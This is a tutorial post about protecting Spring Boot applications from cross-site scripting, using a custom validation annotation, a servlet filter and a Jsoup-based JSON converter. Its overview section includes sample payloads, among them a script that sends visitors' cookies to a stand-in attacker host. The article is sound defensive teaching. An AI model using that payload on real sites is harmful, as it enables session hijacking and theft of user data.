Backend Development 22 min read

Defending Against XSS Attacks in Spring Boot Applications Using Annotations and Filters

This article explains how to protect Spring Boot web applications from Cross‑Site Scripting (XSS) attacks by introducing two main defense mechanisms—custom @XSS annotations and servlet filters—complete with implementation details, code examples, configuration steps, and testing results.

Top Architect
Top Architect
Top Architect
Defending Against XSS Attacks in Spring Boot Applications Using Annotations and Filters

Introduction

With the widespread adoption of web applications, security issues have become increasingly prominent. Cross‑Site Scripting (XSS) is a common web vulnerability that allows attackers to inject malicious scripts into normal pages viewed by other users, potentially leading to data leakage, session hijacking, and other serious consequences. This article explores effective ways to defend Spring Boot applications against XSS attacks.

1. XSS Attack Overview

1.1 Definition

XSS attacks involve inserting malicious scripts into user‑controlled input so that the scripts execute in the browsers of other users when they view the compromised page.

1.2 Types

Stored XSS (Persistent XSS) : Malicious script is permanently stored on the server (e.g., in a database or comment system) and executed when the page is accessed.

Reflected XSS : Script is reflected directly from the request (e.g., via URL parameters) and executed immediately.

DOM‑based XSS : The attack occurs entirely on the client side by manipulating the DOM.

1.3 Attack Principle and Examples

The basic principle is to exploit the trust a web application places in user input. Example of stored XSS in a comment system:

<script>
  document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

When other users view the comment, their cookies are sent to the attacker.

Example of reflected XSS via a malicious URL:

http://example.com/search?q=<script>alert('XSS')</script>

Example of DOM‑based XSS:

var name = document.location.hash.substr(1);
document.write("Welcome, " + name);

Attacker can craft a URL such as:

http://example.com/page.html#<script>alert('XSS')</script>

2. XSS Defense Methods in Spring Boot

2.1 Using Annotations

Define a custom @XSS annotation and a corresponding validator that uses Jsoup to clean input.

2.1.1 Add Dependency

org.springframework.boot
spring-boot-starter-validation
3.2.0

2.1.2 Define @XSS Annotation

@Target({ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER})
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = XssValidator.class)
public @interface Xss {
    String message() default "Invalid input, potential XSS detected";
    Class
[] groups() default {};
    Class
[] payload() default {};
}

2.1.3 Implement XssValidator

public class XssValidator implements ConstraintValidator
{
    private static final Safelist WHITE_LIST = Safelist.relaxed();
    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);

    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        String cleaned = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);
        return cleaned.equals(value);
    }
}

2.1.4 Apply Annotation

@Data
@Tag(name = "User", description = "User login DTO")
public class UserLoginDTO {
    @Xss
    @NotBlank(message = "Account cannot be empty")
    private String userAccount;

    @Xss
    @Size(min = 6, max = 18, message = "Password length must be 6‑18")
    private String password;

    @Xss
    @NotBlank(message = "Email captcha cannot be empty")
    private String emailCaptcha;
}

In the controller, add @Validated to the request body parameter:

@PostMapping("/test2")
public Result
login(@RequestBody @Validated UserLoginDTO dto) {
    return Result.success();
}

2.2 Using a Servlet Filter

2.2.1 Add Jsoup Dependency

org.jsoup
jsoup
1.17.2

2.2.2 Create Configuration Class

@Data
@Component
@ConfigurationProperties(prefix = "xss")
public class FilterConfig {
    private String enabled;
    private String excludes;
    private String urlPatterns;

    @Bean
    public FilterRegistrationBean xssFilterRegistration() {
        FilterRegistrationBean bean = new FilterRegistrationBean();
        bean.setDispatcherTypes(DispatcherType.REQUEST);
        bean.setFilter(new XssFilter());
        bean.addUrlPatterns(StringUtils.split(urlPatterns, ","));
        bean.setName("XssFilter");
        bean.setOrder(9999);
        Map
params = new HashMap<>();
        params.put("excludes", excludes);
        params.put("enabled", enabled);
        bean.setInitParameters(params);
        return bean;
    }
}

2.2.3 Configuration File (application.yml / properties)

xss:
  enabled: true
  excludes:
  url-patterns: /*

2.2.4 XssFilter Implementation

public class XssFilter implements Filter {
    private List
excludes = new ArrayList<>();
    private boolean enabled = false;

    @Override
    public void init(FilterConfig config) {
        String excl = config.getInitParameter("excludes");
        String en = config.getInitParameter("enabled");
        if (StringUtils.isNotEmpty(excl)) {
            excludes.addAll(Arrays.asList(excl.split(",")));
        }
        if (StringUtils.isNotEmpty(en)) {
            enabled = Boolean.parseBoolean(en);
        }
    }

    @Override
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        if (isExcludeUrl(request.getServletPath())) {
            chain.doFilter(req, resp);
            return;
        }
        chain.doFilter(new XssWrapper(request), resp);
    }

    private boolean isExcludeUrl(String path) {
        if (!enabled) return true;
        for (String pattern : excludes) {
            if (Pattern.compile("^" + pattern).matcher(path).find()) {
                return true;
            }
        }
        return false;
    }

    @Override
    public void destroy() {}
}

2.2.5 XssWrapper (HttpServletRequestWrapper)

public class XssWrapper extends HttpServletRequestWrapper {
    public XssWrapper(HttpServletRequest request) { super(request); }

    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        if (values == null) return null;
        String[] encoded = new String[values.length];
        for (int i = 0; i < values.length; i++) {
            encoded[i] = cleanXSS(values[i]);
        }
        return encoded;
    }

    @Override
    public String getParameter(String name) {
        String value = super.getParameter(name);
        return StringUtils.isBlank(value) ? value : cleanXSS(value);
    }

    @Override
    public Object getAttribute(String name) {
        Object value = super.getAttribute(name);
        if (value instanceof String && StringUtils.isNotBlank((String) value)) {
            return cleanXSS((String) value);
        }
        return value;
    }

    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        return StringUtils.isBlank(value) ? value : cleanXSS(value);
    }

    private String cleanXSS(String value) {
        return XssUtil.clean(value);
    }
}

2.2.6 XssUtil (Jsoup Helper)

public class XssUtil {
    private static final Safelist WHITE_LIST = Safelist.relaxed();
    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);
    static { WHITE_LIST.addAttributes(":all", "style"); }
    public static String clean(String content) {
        return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS);
    }
}

2.2.7 Custom JSON Message Converter

public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter {
    @Override
    public Object read(Type type, Class
contextClass, HttpInputMessage inputMessage) throws IOException {
        JavaType javaType = getJavaType(type, contextClass);
        Object obj = readJavaType(javaType, inputMessage);
        String json = super.getObjectMapper().writeValueAsString(obj);
        String cleaned = XssUtil.clean(json);
        return super.getObjectMapper().readValue(cleaned, javaType);
    }

    @Override
    protected void writeInternal(Object object, HttpOutputMessage outputMessage) throws IOException {
        String json = super.getObjectMapper().writeValueAsString(object);
        String cleaned = XssUtil.clean(json);
        outputMessage.getBody().write(cleaned.getBytes());
    }
}

Register the converter in the Spring Boot startup class:

@Bean
public HttpMessageConverters xssHttpMessageConverters() {
    XSSMappingJackson2HttpMessageConverter converter = new XSSMappingJackson2HttpMessageConverter();
    return new HttpMessageConverters(converter);
}

3. Testing

3.1 Annotation Test

When an input contains disallowed characters such as <script>alert('XSS')</script> , the validator returns the default error message indicating illegal input.

3.2 Filter Test

The filter successfully sanitizes request parameters, as shown in the screenshots of the test results.

4. Conclusion

This article thoroughly discusses how to defend Spring Boot applications against XSS attacks by using custom annotations and servlet filters. By applying these techniques, developers can protect user data and ensure stable operation of their web services.

JavaSpring BootsecurityXSSannotationfilter
Top Architect
Written by

Top Architect

Top Architect focuses on sharing practical architecture knowledge, covering enterprise, system, website, large‑scale distributed, and high‑availability architectures, plus architecture adjustments using internet technologies. We welcome idea‑driven, sharing‑oriented architects to exchange and learn together.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.